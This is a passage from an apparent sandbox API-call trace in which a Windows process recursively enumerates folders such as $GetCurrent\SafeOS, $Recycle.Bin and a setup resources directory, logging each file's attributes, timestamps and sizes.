ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0128.795] FindClose (in: hFindFile=0x5bac78 | out: hFindFile=0x5bac78) returned 1 [0128.812] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0128.812] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0128.812] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bacf8 [0128.865] FindNextFileW (in: hFindFile=0x5bacf8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x5bacf8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x5bacf8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x5bacf8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x5bacf8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x5bacf8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x5bacf8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0128.871] FindClose (in: hFindFile=0x5bacf8 | out: hFindFile=0x5bacf8) returned 1 [0128.872] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0128.872] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0128.872] FindClose (in: hFindFile=0x5babb8 | out: hFindFile=0x5babb8) returned 1 [0128.872] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0128.874] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5babb8 [0128.875] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0128.875] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bac78 [0128.875] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0128.875] FindClose (in: hFindFile=0x5bac78 | out: hFindFile=0x5bac78) returned 1 [0128.875] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0128.875] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bac78 [0128.876] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.876] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0128.876] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0128.876] FindClose (in: hFindFile=0x5bac78 | out: hFindFile=0x5bac78) returned 1 [0128.876] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0128.876] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0128.876] FindClose (in: hFindFile=0x5babb8 | out: hFindFile=0x5babb8) returned 1 [0128.876] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0128.876] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0128.876] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0128.876] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5bac78 [0129.474] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0130.991] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0130.992] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b1c8 [0131.084] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.107] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.107] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.107] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.108] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.111] FindClose (in: hFindFile=0x69b1c8 | out: hFindFile=0x69b1c8) returned 1 [0131.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.111] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0131.111] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b088 [0131.112] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.112] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.112] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.112] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.113] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.113] FindClose (in: hFindFile=0x69b088 | out: hFindFile=0x69b088) returned 1 [0131.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.113] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0131.114] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, 